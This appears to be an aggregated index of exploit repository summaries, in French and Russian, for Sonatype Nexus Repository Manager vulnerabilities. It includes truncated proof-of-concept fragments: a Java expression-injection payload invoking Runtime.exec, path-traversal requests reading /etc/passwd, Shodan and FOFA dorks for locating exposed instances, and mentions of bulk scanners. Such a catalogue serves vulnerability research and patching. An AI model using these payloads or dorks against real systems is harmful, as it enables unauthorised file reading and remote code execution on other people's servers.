CVE-2020-10199

Nexus Repository Manager 3 Vuln versions affectées : = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Exécution de commande à distance POC avec réponse POC sans réponse $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199'...

CVE-2024-4956

CVE-2024-4956 Nexus Repository Manager 3: неаутентифицированный обход пути...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Дорк: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" PoC : GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip,...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2024-4956

CVE-2024-4956 POC - CVE-2024–4956 - Traversée de chemin non authentifiée de Nexus Repository Manager 3 Permettant potentiellement à un attaquant de lire certaines informations sur les Check Point Security Gateways une fois connectés à Internet et activés avec Remote Access VPN ou Mobile Access...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager 3: удаленное выполнение кода без аутентификации в версиях до 3.15.0. Обнаружено Rico Tencent Security Yunding Lab и @voidfyoo Подробный анализ английский:...

CVE-2024-4956

CVE-2024-4956 - Traversée de chemin non authentifiée dans Nexus Repository Manager 3 Le Nexus Repository Manager est un gestionnaire de dépôts qui organise, stocke et distribue les artefacts nécessaires au développement. Une vulnérabilité de traversée de chemin a été découverte dans Nexus...

CVE-2020-11444

CVE-2020-11444 Скрипт для эксплуатации уязвимости обхода авторизации Nexus 3 Другие скрипты: https://github.com/zhzyker/exphub Readme +-----------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + +...

CVE-2024-4956-Bulk-Scanner

README.md CVE-2024-4956 Scanner en masse Avertissement Cet outil est destiné uniquement à des fins éducatives et à des tests dans des environnements d'entreprise. https://twitter.com/nav1n0x/ et https://github.com/ifconfig-me déclinent toute responsabilité en cas d'utilisation abusive de ce code...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager RCE Exécution de code à distance sans authentification dans Nexus Repository Manager 3 nexus À propos de l'écho de commande ： functionx, y, z, c, integer, defineClass c=1.class.forName'java.lang.Character'; integer=1.class;...

day04-nexus-4956

День 4 – Nexus Repository 3 Path Traversal CVE-2024-4956 Что: Неаутентифицированный обход пути path traversal позволяет любому загружать произвольные файлы с помощью специально созданного URL. Уязвимость: Затрагивает Nexus Repo 3 версии ≤ 3.68.0. Исправлено в 3.68.1. Источник: Консультация Sonaty...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 скрипт удаленного выполнения команд Ещё скрипты см.: https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + +...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2024-4956

CVE-2024-4956 - Неаутентифицированный обход пути в Nexus Repository Manager 3 Nexus Repository Manager — это менеджер репозиториев, который организует, хранит и распространяет артефакты, необходимые для разработки. Уязвимость обхода пути была обнаружена в Nexus Repository 3, в версиях до 3.68.1...

CVE-2024-5082

Présentation Ce dépôt contient une preuve de concept Python pour la CVE-2024-5082 , une vulnérabilité d'exécution de code à distance dans Sonatype Nexus Repository Manager 2. La vulnérabilité permet à un utilisateur disposant d'autorisations suffisantes de publier un artefact Maven spécialement...

CVE-2024-4956-Sonatype-Nexus-Repository-Manager

CVE-2024-4956-Sonatype-Nexus-Repository-Manager Sonatype Nexus Repository Manager предоставляет централизованную платформу для хранения артефактов сборки CVE-2024-4956 представляет собой уязвимость обхода пути path traversal в Sonatype Nexus Repository manager, которая позволяет злоумышленнику...

CVE-2020-10199

CVE-2020-10199 Ранее во время пентеста я столкнулся с целевой средой, где был развёрнут Nexus Repository Manager; помучился, но в итоге всё-таки получил Shell. Зафиксирую это здесь, чтобы потом было проще вспомнить, если понадобится. Целевая версия: Sonatype Nexus Repository Manager OSS 3.20.1-01...

nmap-scripts

nmap-scripts scripts nmap pour les vulnérabilités cve-2020-0796 & cve-2019-7238 & cve2019-11580 & cve2017-6327 CVE-2020-0796 Une vulnérabilité d'exécution de code à distance existe dans la manière dont le protocole Microsoft Server Message Block 3.1.1 SMBv3 gère certaines requêtes, également conn...

CVE-2020-10199_POC-EXP

Versions affectées + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version = 3.21.1 + +----------------------------------------------------------------------------------------------------------+ E...

nexus_rce_CVE-2019-7238

nexusrceCVE-2019-7238 Quelques notes de débogage et exploit non aveugle Exploit Utilisez BurpSuite, modifiez ls / -al dans la requête. Notez que les guillemets doubles seront remplacés par des guillemets simples. POST /service/extdirect HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Macintosh;...